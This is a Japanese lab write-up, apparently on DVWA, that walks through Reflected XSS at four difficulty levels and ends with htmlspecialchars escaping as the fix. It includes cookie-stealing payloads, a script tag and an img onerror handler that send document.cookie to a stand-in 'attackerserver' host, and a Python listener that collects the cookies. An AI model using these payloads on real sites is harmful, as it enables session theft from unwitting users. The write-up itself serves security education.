前回はDOM Based XSSを扱いましたが、今回はReflected Cross Site Scripting (Reflected XSS: 反射型XSS) についての検証を行いました。
サーバー側のPHPコードがどのように入力を処理しているかを確認し、str_replace や preg_replace といったフィルタリング関数の回避(Bypass)手法、そして根本的な対策についてまとめます。
Reflected XSS とは?
Reflected XSSは、攻撃者が用意した悪意あるスクリプトを含むリンクをユーザーがクリックすることで発生します。 その名の通り、リクエストに含まれたスクリプトが、サーバーからのレスポンス(HTML)として**反射(Reflect)**されて戻ってくることで実行されます。
DOM Based XSSとの違いは以下の通りです。
- DOM Based XSS: サーバーからのレスポンス自体は正常だが、ブラウザ上のJavaScriptの処理で発火する。(
#以下のフラグメントなどはサーバーに届かなくても攻撃成立する) - Reflected XSS: サーバー側のプログラム(PHPなど)が入力値をそのままHTMLに埋め込んで返すことで発火する。
Level : Low
通常の挙動確認

ソースコード解析
LowレベルのPHPコードは非常にシンプルです。
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
問題点
$_GET['name'] で受け取ったパラメータを、何のチェックも加工もせずにそのまま echo しています。
つまり、入力値がそのままHTMLとして解釈されます。
攻撃手法
名前入力欄にスクリプトを入力します。
<script>alert('XSS')</script>
これがサーバーに送信されると、以下のようなHTMLが生成されて返ってきます。
<pre>Hello <script>alert('XSS')</script></pre>
ブラウザはこれを実行し、アラートが表示されます。
Pythonによる検証(Cookie奪取)
DOM XSSの記事同様、Pythonで攻撃用サーバーを立ててCookieを奪取できるか検証します。 サーバーのコードは前回記事を確認してください。
Reflected XSSの場合、攻撃者は以下のようなURLを作成し、被害者に踏ませることを想定します。
攻撃用ペイロード(URL埋め込み用):
http://target/vulnerabilities/xss_r/?name=<script>var img = new Image(); img.src = "http://attackerserver:65000/cookie=" + document.cookie;</script>
意図したものになっているか、エンコードに注意してください。
攻撃側のPythonコード(受信サーバー):
import http.server
import socketserver
from urllib.parse import unquote
import datetime
# --- 設定 ---
PORT = 65000 # 待ち受けるポート番号
# -------------
class StealHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
decoded_path = unquote(self.path)
print(f"[-] 送信元IP: {self.client_address[0]}")
print(f"[-] リクエスト内容: {decoded_path}")
# ブラウザ側には200 OKを返す
self.send_response(200)
self.end_headers()
print(f"[*] 攻撃用サーバーを起動しました。ポート: {PORT}")
print("[*] 接続待機中...")
with socketserver.TCPServer(("", PORT), StealHandler) as httpd:
try:
httpd.serve_forever()
except KeyboardInterrupt:
print("\n[*] サーバーを停止します。")
被害者がリンクを踏むと、Pythonサーバー側にCookie情報が飛んできます。

Level: Medium(ブラックリスト回避)
Mediumレベルでは、簡単なフィルタリングが実装されています。
ソースコード解析
<?php
// ...省略...
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
<script> という文字列を空文字に置換(削除)しています。しかし、これは不完全な対策です。
攻撃手法(Bypass)
- 大文字小文字を変える:
str_replaceは大文字小文字を区別するため、<SCRIPT>や<Script>は通過します。 - 別タグを使う: そもそも
<script>タグを使わなくてもJSは実行できます。
今回は <img> タグのイベントハンドラを利用します。
<img src=x onerror=var img = new Image(); img.src = "http://attackerserver:65000/cookie=" + document.cookie;>
src=x で存在しない画像を読み込もうとしてエラーが発生し、onerror 以下のJavaScriptが実行されます。
この文字列には <script> が含まれていないため、フィルタをすり抜けます。

Level: High(正規表現の穴)
Highレベルでは、正規表現を使ったより強力な置換が行われます。
ソースコード解析
<?php
// ...省略...
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
preg_replace を使い、/i 修飾子で大文字小文字を無視しています。さらに間に文字が入っても検知しようとしています。
これで <SCRIPT> や <scr<script>ipt> などの小細工は通用しなくなりました。
攻撃手法
しかし、この正規表現はあくまで 「scriptという単語が含まれるタグ」 を狙い撃ちしているだけです。
Mediumで試した <img> タグの手法は、ここでも有効です。
Cookie送信ペイロード:
<img src=x onerror=var img = new Image(); img.src = "http://attackerserver:65000/cookie=" + document.cookie;>
onerror 属性の中身はJavaScriptとして評価されるため、ここで new Image() などを書いても問題なく動作します。Highレベルの防壁をあっさり突破し、PythonサーバーにCookieが着弾します。

Level: Impossible(エスケープ処理)
最後に、適切な対策が行われているコードです。
ソースコード解析
<?php
// ...Token check...
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
?>
なぜこれが安全なのか
htmlspecialchars() 関数を使用している点が重要です。
これはHTMLにおいて特殊な意味を持つ文字を「実体参照(HTMLエンティティ)」に変換します。
<→<>→>"→"
例えば <script>alert(1)</script> と入力しても、HTMLソース上では以下のように出力されます。
<pre>Hello <script>alert(1)</script></pre>
ブラウザは < を文字としての「<」として表示するだけで、タグの開始とは認識しません。
結果として、画面には入力した文字列がそのまま表示されるだけで、スクリプトは一切実行されなくなります。
まとめ
- Reflected XSS: サーバーが入力値をそのままHTMLに埋め込むことで発生する。
- ブラックリストは弱い:
<script>を消すだけでは、大文字小文字変換や<img>タグなどで容易に回避される。 - イベントハンドラの悪用:
onerrorなどを利用すれば、scriptタグなしでJSを実行可能。 - 正しい対策: 入力値の削除ではなく、
htmlspecialcharsなどで出力時にエスケープし、ブラウザにコードとして解釈させないことが重要。
攻撃者の視点を知ることで、「なぜエスケープが必要なのか」がより深く理解できました。